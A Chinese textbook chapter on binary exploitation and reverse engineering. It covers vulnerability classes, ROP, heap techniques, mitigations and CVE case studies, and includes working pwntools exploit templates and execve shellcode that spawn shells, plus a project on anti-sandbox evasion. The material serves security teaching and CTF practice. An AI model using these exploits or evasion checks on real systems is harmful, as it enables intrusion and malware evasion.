第 9 章 二进制安全与逆向工程
9.1 学习目标
- 掌握 x86_64 汇编基础、ELF/PE 文件结构、调用约定。
- 熟练使用 IDA Pro / Ghidra / Radare2 / gdb 进行静态与动态逆向。
- 吃透 栈溢出、堆溢出、格式化字符串、整数溢出 等经典漏洞原理。
- 能写出 ret2text / ret2libc / ret2csu / ROP 链的利用代码。
9.2 先修:x86_64 汇编速查
9.2.1 寄存器
| 寄存器 | 用途 |
|---|---|
rax | 返回值、系统调用号 |
rdi rsi rdx rcx r8 r9 | 前 6 个函数参数(SysV ABI) |
rsp | 栈顶指针 |
rbp | 栈基址(部分场景) |
rip | 指令指针 |
rflags | 标志位(ZF/CF/SF/OF/DF/IF) |
9.2.2 System V AMD64 调用约定
参数顺序:RDI, RSI, RDX, RCX, R8, R9, (栈)返回值:RAX (、RDX)被调用者保存:RBX, RBP, R12-R15caller 保存:其余栈 16 字节对齐(call 前)9.2.3 系统调用
; read(0, buf, 0x100)mov rax, 0mov rdi, 0mov rsi, bufmov rdx, 0x100syscall
; execve("/bin/sh", 0, 0) —— 系统调用号 59mov rax, 59lea rdi, [rel binsh]xor rsi, rsixor rdx, rdxsyscall9.3 ELF 文件结构
ELF Header → 类型、架构、入口点 e_entryProgram Headers (Phdr) → 运行时段:PT_LOAD / PT_DYNAMIC / PT_INTERPSection Headers (Shdr) → 静态节:.text .data .bss .plt .got .rodata9.3.1 关键节
| 节 | 内容 |
|---|---|
.text | 可执行代码 |
.rodata | 只读数据(字符串常量) |
.data | 已初始化可写数据 |
.bss | 未初始化全局变量 |
.plt / .got | 动态符号解析(延迟绑定) |
.init_array / .fini_array | 构造 / 析构函数 |
9.3.2 常用工具
file ./bin # 查看架构 / static or dynamicchecksec --file=./bin # 安全保护措施(pwntools 提供)readelf -a ./binobjdump -d -M intel ./binstrings ./bin | grep -i flagnm ./bin | grep " T " # 导出符号ldd ./bin # 依赖库9.3.3 checksec 结果解读
Arch: amd64-64-littleRELRO: Full RELRO # GOT 只读Stack: Canary found # 栈溢出检测NX: NX enabled # 栈不可执行PIE: PIE enabled # 地址随机化FORTIFY: No- 防护越多,利用越难;结合 信息泄露 是绕过的关键。
9.4 经典漏洞原理
9.4.1 栈溢出(Stack Overflow)
void vuln() { char buf[64]; gets(buf); // 不检查长度}高地址 ────────────── 返回地址 RIP ← 被覆盖后控制执行流 保存的 RBP buf[64] ← 用户可写低地址 ──────────────利用流程:
- 无保护:直接覆盖 RIP → shellcode 地址(NX 关闭)。
- NX 开:ret2text / ret2libc / ROP。
- PIE 开:需要信息泄露(leak 一个函数地址,恢复基址)。
- Canary 开:需要信息泄露(格式化字符串 / 字节爆破)绕过 canary。
9.4.2 格式化字符串(Format String)
printf(user_input); // ← 应该写成 printf("%s", user_input)%x %x %x %x:泄露栈上数据。%s:配合地址泄露任意内存。%n:任意地址写入(%hn、%hhn控制字节数)。
典型 payload:
%8$p ; 泄露第 8 个参数"\x10\x20\x30\x40%7$hhn" ; 向 0x40302010 写 X 字节9.4.3 堆漏洞(Heap Corruption)
glibc ptmalloc 常见姿势:
- UAF (Use After Free):释放后仍使用指针 → fake chunk / hijack 函数指针。
- Double Free:触发
tcache/fastbin攻击。 - Off-by-one / Overflow:覆盖下一个 chunk 的 size 位 → Unlink / House of X。
- tcache poisoning(glibc 2.26+):
- free 两个同大小 chunk;
- 改写 tcache entry 的
next指针; - 连续 malloc → 返回目标地址。
9.4.4 整数溢出
int size = read_int();if (size > 100) return;char *p = malloc(size * sizeof(int)); // 若 size < 0 → 小 chunkread(0, p, size * sizeof(int)); // 写超界9.5 ROP(Return-Oriented Programming)
9.5.1 思路
当栈不可执行(NX)时,用已有代码片段(gadget)拼接出等价功能。
pop rdi; ret ; 设置参数 1pop rsi; pop r15; ret ; 设置参数 2; call function9.5.2 pwntools 范例
from pwn import *
elf = ELF('./vuln')libc = ELF('./libc.so.6')io = process('./vuln')
# Stage 1:leak puts@gotpop_rdi = 0x4011c3payload = b'A' * 72payload += p64(pop_rdi) + p64(elf.got['puts'])payload += p64(elf.plt['puts']) + p64(elf.sym['main'])io.sendlineafter(b'> ', payload)leak = u64(io.recvline().strip().ljust(8, b'\x00'))libc.address = leak - libc.sym['puts']
# Stage 2:ret2libc → system("/bin/sh")payload = b'A' * 72payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))payload += p64(libc.sym['system'])io.sendlineafter(b'> ', payload)io.interactive()9.5.3 常用 gadget 搜索
ROPgadget --binary ./vuln --only "pop|ret"ROPgadget --binary ./libc.so.6 --string "/bin/sh"one_gadget ./libc.so.6 # 一键 exec shell9.6 调试与动态分析
9.6.1 gdb + pwndbg / GEF / peda
gdb -q ./vulnpwndbg> checksecpwndbg> b mainpwndbg> rpwndbg> vmmap # 内存映射pwndbg> telescope $rsp 20 # 栈观察pwndbg> heap / bins # 堆结构pwndbg> pattern create 200 # 生成模式串pwndbg> pattern search # 偏移定位9.6.2 IDA / Ghidra
- IDA:商业标杆,F5 反编译(Hex-Rays Decompiler)。
- Ghidra:NSA 开源;跨平台 + 多架构;支持脚本(Python/Java)。
- Binary Ninja:社区活跃,API 友好。
- Radare2 / Rizin + Cutter:命令行 + GUI 组合。
9.6.3 反调试与加壳
- 反调试:
ptrace(PTRACE_TRACEME)、/proc/self/status检测TracerPid、时间差。 - 加壳:UPX(
upx -d脱壳);商业壳用 x64dbg + Scylla Dump。
9.7 Windows PE 逆向入门
| 结构 | 说明 |
|---|---|
| DOS Header → NT Header → Section Header | PE 文件头 |
.text | 代码段 |
.rdata | 只读数据 / 导入表 (IAT) |
.data | 可写数据 |
.rsrc | 资源(图标、版本信息) |
- 工具:
PE-bear、Detect It Easy (DiE)、x64dbg、API Monitor。 - Windows 漏洞:SEH 覆盖、GS、ASLR、CFG、CET(Shadow Stack)。
9.8 常见 CTF Pwn 题型一览
| 题型 | 利用核心 |
|---|---|
| ret2text | 控制流跳到已有 backdoor |
| ret2libc | leak libc → system("/bin/sh") |
| ret2csu | 利用 __libc_csu_init 万能 gadget |
| Canary + 格式化字符串 | 先 leak canary 再栈溢出 |
| tcache poisoning | 劫持堆分配到任意地址 |
| Fastbin attack | 把 chunk 挂到 __malloc_hook |
| Off-by-null | 修改前一个 chunk 的 prev_size 实现重叠 |
| House of Orange / Force | 特定漏洞触发 IO 流 + FILE 攻击 |
9.9 防御侧:编译器与系统缓解
| 措施 | 含义 | 编译参数 |
|---|---|---|
| NX / DEP | 栈 & 堆不可执行 | -z noexecstack |
| ASLR / PIE | 地址随机化 | -fPIE -pie |
| Canary | 栈金丝雀 | -fstack-protector-strong |
| FORTIFY_SOURCE | 运行时检查 strcpy/memcpy 长度 | -D_FORTIFY_SOURCE=2 -O2 |
| RELRO | GOT 只读 | -Wl,-z,relro,-z,now |
| CFI / CET | 控制流完整性 | Clang -fsanitize=cfi、Intel CET |
Sanitizer(开发期):
# 地址越界clang -fsanitize=address,undefined -g demo.c# 内存泄漏clang -fsanitize=leak demo.c# 线程clang -fsanitize=thread demo.c9.10 学习路线建议
第 1 步:跟完 CSAPP 第 3 / 7 / 9 章 → 理解机器语言 + 链接 + 虚拟内存第 2 步:pwn.college / ROP Emporium 练 20 道入门题第 3 步:CTF 做题:PicoCTF / pwnable.tw / pwnable.kr第 4 步:读《黑客之道》《Reversing》《深入浅出 Ghidra》第 5 步:每月打 1 场线上 CTF第 6 步:尝试真实 CVE(LibTIFF / OpenSSL)复现 → 写 PoC9.11 练习题
- 写一个 64 位 Linux 下的 shellcode(不含
\x00),调用execve("/bin/sh", 0, 0),并在checksec = No canary / NX disabled的环境下成功利用。 - 在
checksec = Full protection的环境下,用 ret2libc 获取 shell,并分析每一步为什么能绕过保护。 - 分析 libc 2.27 下 tcache poisoning 的完整流程,并写出最小 PoC。
- 用 Ghidra 逆向一个 crackme,反编译后找到 flag 校验算法并写出求解脚本。
9.12 x86_64 汇编进阶
9.12.1 全部寻址模式
mov rax, [rbx] ; 直接mov rax, [rbx + 0x10] ; 偏移mov rax, [rbx + rcx*8] ; 索引mov rax, [rbx + rcx*8 + 16] ; SIB + 偏移mov rax, [rip + 0x100] ; PC 相对(PIE 关键)9.12.2 SIMD / SSE / AVX 速览
xmm0..xmm15(128 bit)、ymm0..ymm15(256 bit)、zmm0..zmm31(512 bit)- 浮点运算
vaddps / vmulps - 内存复制
vmovdqu、向量比较vpcmpeqb - 字符串库(memcpy / strchr)现代实现常用 SIMD,逆向时见到大量
xmm不要慌
9.12.3 常用指令家族
| 家族 | 例子 |
|---|---|
| 数据传送 | mov、lea、push、pop、xchg |
| 算术 | add、sub、imul、idiv、neg |
| 逻辑 | and、or、xor、not、shl、shr |
| 控制 | jmp、jz/jnz/je/jne/jg/jl、call、ret |
| 字符串 | movs、cmps、scas、stos |
| 系统 | syscall、sysenter、int 0x80 |
9.12.4 Windows x64 调用约定差异
| 特性 | SysV (Linux) | MS x64 (Windows) |
|---|---|---|
| 前 4 整数参数 | rdi rsi rdx rcx | rcx rdx r8 r9 |
| 浮点参数 | xmm0..xmm7 | xmm0..xmm3 |
| Shadow space | 不需要 | 32 字节 |
| 被调用者保存 | rbx rbp r12-r15 | rbx rbp rdi rsi r12-r15 xmm6-xmm15 |
逆向 Windows 二进制时务必区分调用约定。
9.13 ELF 加载流程深入
execve("/bin/prog", argv, envp) │ ▼内核: - 验证 ELF magic - 读取 PT_INTERP(通常 /lib64/ld-linux-x86-64.so.2) - 加载 PT_LOAD 段到内存 - 跳转到动态链接器 ld.so 的入口 │ ▼ld.so: - 解析 PT_DYNAMIC(DT_NEEDED 列出依赖 libc 等) - mmap 共享库到进程 - 处理重定位: R_X86_64_GLOB_DAT → .got 项填充 R_X86_64_JUMP_SLOT → .got.plt 项填充(延迟绑定时由 _dl_runtime_resolve 填) - 调用 .preinit_array / .init / .init_array │ ▼程序入口 _start → __libc_start_main(main, argc, argv, ...) → main()9.13.1 GOT / PLT 图示
; 第一次调用 puts:puts@plt: jmp [puts@got.plt] ; 此时该地址指向 plt+6 push <reloc_index> jmp [_dl_runtime_resolve]
; 解析后回填 puts@got.plt → libc 的 puts 真实地址; 第二次调用 puts: jmp [puts@got.plt] ; 直接跳真实地址延迟绑定(lazy binding)也是 ret2dlresolve 利用的基础。
9.13.2 Full RELRO vs Partial RELRO
- Partial:
.got.plt仍可写 - Full:所有 GOT 项程序启动时一次性解析并设为只读
- 利用差异:Partial 可改
.got.plt[puts]→ system
9.14 堆漏洞家族(House of X)
| 名称 | 核心 |
|---|---|
| House of Force | top chunk size 改大 → malloc 任意地址 |
| House of Orange | 利用 top chunk 切割 + sysmalloc → 释放假 unsorted bin → fake _IO_FILE 攻击 |
| House of Roman | tcache 与 IO 链组合 |
| House of Einherjar | 利用 chunk 重叠通过 backward consolidation |
| House of Husk | 利用 printf 的字符函数表 |
| House of Storm | unsorted bin + large bin 任意写 |
| House of Spirit | 把栈上数据伪造成 chunk 释放 |
9.14.1 fastbin / tcache 链结构
tcache (glibc 2.26+) — 单链表:[tcache_perthread_struct] bins[64] → next chunk → next ...
fastbin(仍存在):fastbinsY[7] → ... 同样单链表利用:双重释放 + 改 next 指针 → 下次 malloc 返回任意地址。
9.14.2 glibc 版本差异防护
| 版本 | 关键变化 |
|---|---|
| 2.26 | 引入 tcache |
| 2.27 | tcache double-free check(每个 bin entry 一个 key) |
| 2.29 | unsorted bin 改链时严格检查 |
| 2.32 | safe-linking:P->fd ^= (addr >> 12) |
| 2.34+ | 移除 __free_hook、__malloc_hook、__realloc_hook |
| 2.35+ | _IO_FILE 利用收紧 |
利用必须根据目标 glibc 版本调整。
9.15 ARM64 逆向差异
9.15.1 主要差异
- 所有指令固定 32 bit
- 31 个 64 bit 通用寄存器
x0..x30,sp、pc - 链接寄存器
LR(即x30)保存返回地址 - 调用约定:参数在
x0..x7 - 返回:
ret实际是br x30
9.15.2 PAC(Pointer Authentication)
ARMv8.3+ 引入:
- 对返回地址做 HMAC 签名
- 攻击者覆盖 LR 后
ret校验失败 → 触发 SIGILL - 绕过:泄露签名密钥(需特权)/ 利用 PAC 弱设备
9.15.3 MTE(Memory Tagging)
ARMv8.5+:
- 每 16 字节内存打 4 bit tag
- 指针高位也带 4 bit tag
- 不匹配 → 异常
- 极大缓解 UAF / 越界访问;Pixel 8+ 启用
9.16 CPU 漏洞:Spectre / Meltdown 简述
9.16.1 Spectre v1(Bounds Check Bypass)
if (x < array1_size) { y = array2[array1[x] * 4096];}CPU 推测执行越界 x → array2 缓存被污染 → 通过缓存侧信道还原 array1[x]。
9.16.2 Meltdown
特定 CPU 在权限校验前已经把内核数据加载进缓存 → 用户态推测执行触发缓存污染 → 还原内核内存。
9.16.3 缓解
- KPTI(Kernel Page Table Isolation)
- microcode 更新
- IBRS / IBPB / STIBP / SSBD
- 编译器加 retpoline / lfence
9.16.4 后续家族
L1TF、MDS、TAA、ZenBleed、Downfall、Inception ……几乎每年都有新分支;防御端 CPU 微码 + 内核缓解 + 业务隔离三层。
9.17 模糊测试 + 符号执行实战
9.17.1 AFL++ harness
#include <stdint.h>#include <unistd.h>extern void parse(const uint8_t *buf, size_t len);
#ifdef __AFL_HAVE_MANUAL_CONTROL# include <stdint.h>__AFL_FUZZ_INIT();#endif
int main(void) { __AFL_INIT(); uint8_t buf[1<<16]; while (__AFL_LOOP(10000)) { ssize_t n = read(0, buf, sizeof(buf)); if (n > 0) parse(buf, n); } return 0;}9.17.2 KLEE 符号执行
#include <klee/klee.h>int main() { int x; klee_make_symbolic(&x, sizeof(x), "x"); if (x * x + 3 * x == 100) klee_assert(0); return 0;}klee main.bc 自动给出能让 assert 触发的输入。
9.17.3 angr 路径求解
import angr, claripyproj = angr.Project('./bin', auto_load_libs=False)arg = claripy.BVS('arg', 8 * 32)state = proj.factory.entry_state(args=['./bin', arg])sm = proj.factory.simulation_manager(state)sm.explore(find=lambda s: b'Good' in s.posix.dumps(1), avoid=lambda s: b'Bad' in s.posix.dumps(1))print(sm.found[0].solver.eval(arg, cast_to=bytes))9.18 真实 CVE 复盘
9.18.1 OpenSSL Heartbleed (CVE-2014-0160)
详见 Ch02。从二进制视角:memcpy(bp, pl, payload) 在用户控制 payload 长度后超量拷贝。GDB 调试时可在 dtls1_process_heartbeat 设置断点,观察 SSL 结构体内残留的内存。
9.18.2 Sudo Baron Samedit (CVE-2021-3156)
详见 Ch03。栈缓冲区与 *sudoers_size += i; 累加导致堆越界写。
9.18.3 Polkit PwnKit (CVE-2021-4034)
pkexec 处理 argv[] 时未检查 argc=0 边界 → 越界读 envp 指针 → 利用 GCONV_PATH= 加载恶意 gconv 模块实现提权。
9.18.4 xz-utils 后门 (CVE-2024-3094)
链路:上游维护者被植入恶意 m4 宏 → 编译时注入 liblzma.so.5 修改 RSA_public_decrypt → 当 sshd 用此库时检查特定签名命令并执行。
震撼点:纯供应链层;OSS-Fuzz 都没发现,因为 hook 层很深。
9.18.5 Linux nftables UAF (CVE-2024-1086)
在 nft_verdict_init 错误路径释放后再使用,本地用户可触发,配合堆喷射拿 root。
9.18.6 Apple iMessage BLASTPASS (CVE-2023-41064 / 41061)
零点击:通过 PassKit 附件传 PDF + WebP → 触发 ImageIO 漏洞 → 链 BLASTDOOR 沙箱逃逸 → Pegasus 间谍软件部署。 反映出”无附件”+“无交互”的 0day 仍然存在。
9.19 防御实战:从 Compiler 到 Runtime
9.19.1 Compiler-time
# 推荐 hardened 编译选项gcc -O2 -fstack-protector-strong \ -D_FORTIFY_SOURCE=2 \ -fPIE -pie \ -fcf-protection=full \ -Wl,-z,relro,-z,now -Wl,-z,noexecstack \ main.c -o main9.19.2 Runtime
- ASLR:内核
randomize_va_space=2 - KASLR:内核基址随机化
- SMEP / SMAP:阻止内核访问用户态页
- KPTI:Meltdown 缓解
- KCFI / kCFI:内核控制流完整性
- IPE / LSM:策略级控制
9.19.3 Compartmentalization
- WebAssembly 隔离(V8 / Wasmtime)
- io_uring / seccomp-bpf
- Hypervisor 级隔离(KVM / Xen / Hyper-V)
- Confidential Computing:Intel TDX / AMD SEV-SNP / ARM CCA
9.20 练习题(扩展)
- 解释 ret2csu 的工作原理,并给出在没有
pop rdi; retgadget 时的利用思路。 - 给定 glibc 2.32 的
chunk + fd_nextsize ^ (chunk_addr >> 12),写一段计算 mangling 的脚本。 - 在 ARM64 + PAC 启用环境下写一个最小 ROP,看哪里失败。
- 用 angr 解一个 crackme:输入 32 字节 → 通过 5 层 SubBytes → 比较固定值。
- 写一段 KLEE 程序找出
int triangle(int a,b,c)的边界条件 bug。 - 分析 xz-utils 后门的关键 m4 宏,并解释如何检测同类供应链植入。
参考答案要点
- ret2csu 利用
__libc_csu_init倒数 2 个 gadget 控制rbx rbp r12 r13 r14 r15→ 调用r15指向的r12 + rbx*8函数;适合控制 3 个参数。 mangled = ptr ^ ((chunk_addr) >> 12);解出原始 fd 需要知道 chunk 地址。
9.21 面试高频考点(附参考答案)
Q1:栈溢出在现代 PIE + Canary + NX + RELRO 防护下怎么利用?
- 通常需要先做信息泄露(leak canary + libc base),再 ROP 调 libc。
Q2:tcache poisoning 在 glibc 2.32 后还能用吗?
- 安全链接(safe-linking)使 fd 被 mangling,需要先泄露 chunk 堆地址;额外 2.34 移除
__free_hook后利用方式必须改攻 IO_FILE。
Q3:解释 ret2dlresolve 利用思路。
- 伪造
Elf64_Sym + Elf64_Rela + 字符串在可写区,调_dl_runtime_resolve时让 ld.so 当作合法重定位 → 解析system。
Q4:什么是 SROP?
- Sigreturn-Oriented Programming:触发
rt_sigreturn系统调用,从栈上读ucontext_t一次设置所有寄存器。
Q5:为什么 PAC 比传统 Canary 更强?
- PAC 直接对返回地址进行加密签名,攻击者改 LR 后 sign/auth 失败;不像 canary 仅 8 字节”密码”。
Q6:Spectre 和 Meltdown 的本质差异?
- Meltdown 跨权限边界(用户读内核);Spectre 跨不同进程边界,利用条件分支预测(v1)/ 间接跳转预测(v2)。
Q7:fuzzer 找到崩溃后下一步做什么?
- 复现 → 最小化(afl-tmin) → 三角化(GDB / sanitizer 看错误类型) → 评估可利用性 → 编写 PoC + 报告。
Q8:什么是 CFI?
- Control Flow Integrity,限制间接调用 / 返回只能跳到合法目标;硬件实现(Intel CET)+ 编译器实现(Clang CFI)。
Q9:xz 后门为何可怕?
- 上游维护者长期取信社区、植入加密 stage;逻辑只在生产场景触发,难被自动化测试发现;纯供应链层。
Q10:你在做 CTF 时,发现一道堆题完全没思路怎么办?
- 跑 checksec + libc version + 还原 free/alloc 包装 → 找哪类 chunk 进入哪类 bin → 思考 House of X 候选;实在没思路看 wp 学姿势再独立复现。
9.22 延伸阅读
教材
- 《CSAPP(深入理解计算机系统)》Bryant, O’Hallaron
- 《The Art of Software Security Assessment》Mark Dowd
- 《Hacking: The Art of Exploitation》Jon Erickson
- 《Practical Reverse Engineering》Bruce Dang
- 《Hacker Disassembling Uncovered》Kris Kaspersky
- 《Practical Binary Analysis》Dennis Andriesse
在线资源
- pwn.college https://pwn.college/
- ROP Emporium https://ropemporium.com/
- pwnable.tw / pwnable.kr / pwn.lol
- how2heap https://github.com/shellphish/how2heap
- nightmare https://guyinatuxedo.github.io/
- LiveOverflow YouTube
- Phrack 杂志(经典 hacker 文化)
工具文档
- pwntools tutorials
- Ghidra / IDA / Binary Ninja 官方文档
- AFL++ wiki
- angr docs
9.23 利用片段集(pwntools 范例 ×6)
9.23.1 ret2text
from pwn import *elf = ELF('./vuln'); io = process('./vuln')backdoor = elf.sym['win']io.sendline(b'A'*72 + p64(backdoor))io.interactive()9.23.2 ret2libc
from pwn import *elf = ELF('./vuln'); libc = ELF('./libc.so.6'); io = process('./vuln')pop_rdi = 0x4011c3ret = 0x40101a# leakio.sendlineafter(b'> ', b'A'*72 + p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']))libc.address = u64(io.recvline().strip().ljust(8, b'\0')) - libc.sym['puts']# pwnio.sendlineafter(b'> ', b'A'*72 + p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) + p64(libc.sym['system']))io.interactive()9.23.3 ret2csu
from pwn import *io = process('./vuln'); elf = ELF('./vuln')csu_p1 = 0x40119a # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retcsu_p2 = 0x401180 # mov rdi,r13; mov rsi,r14; mov rdx,r15; call [r12+rbx*8]payload = b'A'*72payload += p64(csu_p1)payload += p64(0) + p64(1) + p64(elf.got['puts']) + p64(elf.got['puts']) + p64(0) + p64(0)payload += p64(csu_p2)payload += p64(0)*7 # padding 因 csu_p2 末尾 add rsp,8payload += p64(elf.sym['main'])io.sendlineafter(b'> ', payload)io.interactive()9.23.4 ret2syscall
from pwn import *context.binary = './vuln'io = process('./vuln')pop_rax = 0x447834 # 在静态 ELF 内pop_rdi = 0x401e26pop_rsi_r15 = 0x40e9e0pop_rdx = 0x44a309syscall = 0x466137binsh = 0x6c0e60 # 找一个可写区域,预先用 read 写入 /bin/shchain = flat( pop_rdi, binsh, pop_rsi_r15, 0, 0, pop_rdx, 0, pop_rax, 59, syscall)io.sendline(b'/bin/sh\0' + b'A'*64 + chain)io.interactive()9.23.5 格式化字符串泄露 + 写
from pwn import *io = process('./vuln')io.sendline(b'%9$p')canary = int(io.recvline(), 16)log.info(f'canary={hex(canary)}')
# 利用 %hn 写target = 0x404060payload = fmtstr_payload(8, {target: 0xdead})io.sendline(payload)io.interactive()9.23.6 tcache poisoning(glibc 2.31, no safe-linking)
from pwn import *io = process('./heapnote')
def alloc(idx, size, data): io.sendlineafter(b'> ', b'1') io.sendlineafter(b'idx: ', str(idx).encode()) io.sendlineafter(b'size: ', str(size).encode()) io.sendafter(b'data: ', data)
def free(idx): io.sendlineafter(b'> ', b'2') io.sendlineafter(b'idx: ', str(idx).encode())
alloc(0, 0x80, b'A')alloc(1, 0x80, b'B')free(0); free(1)# 改 tcache fd 指向 __free_hookalloc(2, 0x80, p64(libc.sym['__free_hook']))alloc(3, 0x80, b'X') # 占位alloc(4, 0x80, p64(libc.sym['system'])) # 落到 free_hookalloc(5, 0x80, b'/bin/sh\0')free(5)io.interactive()9.24 Windows PE 漏洞与缓解
9.24.1 SEH 利用
Windows 32 位下 _EXCEPTION_REGISTRATION_RECORD 链表存在栈上;溢出可改 Next 与 Handler 指针 → 触发异常时跳到 attacker 控制点。SafeSEH / SEHOP 缓解。
9.24.2 GS(/GS Stack Cookie)
类似 Linux Canary;位于函数 prolog / epilog;MSVC 默认开启。绕过:信息泄露 + 改 SEH。
9.24.3 DEP / NX
Win 自 XP SP2 引入;ROP 标配(同 Linux)。
9.24.4 ASLR / Mandatory ASLR / Force ASLR
需要 PE 头 IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;老程序无 ASLR 可作 ROP gadget 源。
9.24.5 CFG(Control Flow Guard)
间接调用前查表(compiler-generated bitmap),目标必须是合法函数入口。 绕过:泄露并修改 bitmap、利用未对齐分支。
9.24.6 CET(Control-flow Enforcement Technology)
Intel Tiger Lake+,AMD Zen 3+:
- IBT(Indirect Branch Tracking):间接
call/jmp后必须是endbr64 - Shadow Stack:硬件维护一个只允许
call/ret写的栈,普通溢出无法改 缓解了 ROP 与传统 stack pivot。
9.24.7 Kernel Patch Protection (PatchGuard)
x64 Windows 内核的”反 hook”:定期校验关键内核结构 hash;EDR 厂商需走官方 callback API 而非直接 patch。
9.25 macOS / iOS 二进制差异
9.25.1 Mach-O 格式
mach_headerload commands (LC_SEGMENT_64、LC_DYLD_INFO_ONLY、LC_CODE_SIGNATURE...)segments + sections (__TEXT/__text、__DATA、__LINKEDIT)工具:otool -l、nm -mU、hopper、Cutter、MachOExplorer。
9.25.2 Code Signing & Hardened Runtime
- 所有可执行必须签名
- 硬化 runtime:禁止 unsigned 代码注入、限制 dyld 环境变量
- 苹果 Notarization:上传给 Apple 扫描
9.25.3 SIP / TCC / Sandbox
详见 Ch03 / Ch12;从二进制视角,攻击者经常需要绕过 dyld 注入限制 + sandbox profile。
9.25.4 iOS 越狱要点
- Bootrom 漏洞(checkm8 / blackbird)→ 永久越狱
- 软件越狱:内核漏洞 + KPP / KTRR 绕过 + sandbox 突破 + Amfi 签名绕过
- TFP0 (task_for_pid 0) 是常见目标,拿到内核 task port 即可任意读写内核内存
9.26 IoT / 嵌入式逆向
9.26.1 工作流
固件下载 → binwalk -e 解包 → 找到 squashfs / cpio ├── /etc/passwd 弱口令 ├── /etc/shadow 离线爆破 ├── 启动脚本看监听端口 ├── /usr/sbin 找 Web 后台二进制 └── strings + Ghidra 反编译9.26.2 常见架构
- ARM (32/64)、MIPS(big/little endian)、PowerPC、RISC-V
- QEMU user / system mode 模拟运行
qemu-mips ./bin直接跑 user binaryqemu-system-arm -M virt -kernel ...跑 kernel
9.26.3 真实场景
- 路由器 Web 后台命令注入(多见于 D-Link / TP-Link)
- 摄像头默认密码 + 后门口
- 工控 PLC 固件保留调试口
- 智能家居 BLE / Zigbee 通信缺乏鉴权
9.26.4 防御
- Secure Boot + 签名验证
- 硬件加密引擎 + 主密钥保护
- 固件 rollback 防护
- OTA 通道加密签名 + 错误恢复
9.27 现代缓解的实战影响
9.27.1 利用难度增量表
| 缓解 | 增量 |
|---|---|
| NX | +1(栈/堆不可执行 → ROP) |
| ASLR + PIE | +2(必须信息泄露) |
| Canary | +1(leak canary) |
| Full RELRO | +1(GOT 不可改 → 改其他 hook / IO) |
| CET (IBT + SS) | +3(ROP 几乎失效;需 JOP 或新姿势) |
| PAC + MTE | +3(指针签名 + 内存标签) |
| KASLR + KPTI + SMAP + SMEP | 内核漏洞利用难度急剧上升 |
| W^X + JIT 强化 | 浏览器漏洞链很难做 |
9.27.2 攻击趋势
- 从单点漏洞 → 多链组合(沙箱逃逸 → 内核 → 持久化)
- 利用代价 / 单 0day 价格上升(Pegasus 类间谍软件市场化)
- 漏洞经济与负责任披露的平衡愈发关键
9.28 自我练习项目
项目 P1:自写一个最小 ELF loader
- 解析 ELF header + PT_LOAD
- 用
mmap加载段 - 不处理动态链接
- 跳到 entry 执行
项目 P2:从 0 写一个 Heap,复现 House of Spirit
- 实现简单
malloc/free(first-fit + 空闲链表) - 故意暴露伪造 chunk 漏洞
- 写 PoC 触发任意写
项目 P3:玩 Linux Kernel ROP
- 编一个有漏洞的内核模块(slab UAF)
- 用 SMEP / SMAP 关闭测试
- 然后逐项打开缓解
- 学习 modprobe_path / cred 提权
项目 P4:自写 Anti-Sandbox 检测
- 检测 VMware / VirtualBox / KVM
- 检测时间加速
- 检测鼠标移动
- 检测进程数 / 用户数
- 用于对抗自动沙箱(CAPE / Cuckoo)
9.29 与 AI 结合:LLM 辅助逆向
9.29.1 现状(2026)
- IDA Pro 已经集成 AI Assist(基于 LLM 解释反汇编)
- Ghidra + GPT 插件(gpt4-Ghidra / G-3PO):对反编译结果做自然语言摘要、变量重命名
- LLM 能在熟悉算法(AES / SHA / RC4)识别上做模式匹配,但对自创复杂逻辑仍弱
9.29.2 工作流建议
Step 1: 反编译(Ghidra / IDA)Step 2: LLM 总结函数功能 + 推荐变量名Step 3: 人工核对 + 修正Step 4: 写脚本批量重命名Step 5: 用动态调试验证关键路径9.29.3 风险
- LLM 可能自信地给出错误结论
- 不要把客户 / 涉密二进制上传到云 API → 用本地 LLM(CodeLlama / Phind / DeepSeek-Coder)
9.30 小结
二进制安全是”动脑容量 + 细节控 + 工具链熟练度”的综合考验。 不存在一条捷径,只有反复做题、反复调试、反复读反汇编。
与其他章节的接口
- ← Ch07:扫描发现的内存型 CVE
- ← Ch08:渗透中的提权 / RCE 用到二进制利用
- → Ch10:取证视角看二进制 payload 行为
- → Ch11:蓝队检测 ROP / shellcode 的方法
- → Ch12:IoT / 移动端的二进制利用差异
学习节奏(12 周计划)
- W1-2:CSAPP 第 3/7/9 章 + 汇编入门题 20 道
- W3-4:栈溢出 / ret2text / ret2libc,pwn.college Babymem 系列
- W5-6:堆基础 / tcache / fastbin,how2heap 全过
- W7-8:ROP 高级 + ret2csu / SROP
- W9-10:House of X 谱系,做 5 道堆 CTF
- W11:Windows PE / ARM64 入门
- W12:选 1 个真实 CVE 复现 + 写 PoC + 写博客
心态建议
- 不会很正常:这是计算机科学最难的子领域之一
- 不要看 wp 后就跳过:必须复现到能离开 wp 重写
- 每道题写一份”为什么这么走”的笔记,半年后回头看很值钱
- 享受
pwndbg里那一刻 RIP 落在system的喜悦
如果這篇文章對你有幫助,歡迎分享給更多人!
部分資訊可能已經過時





















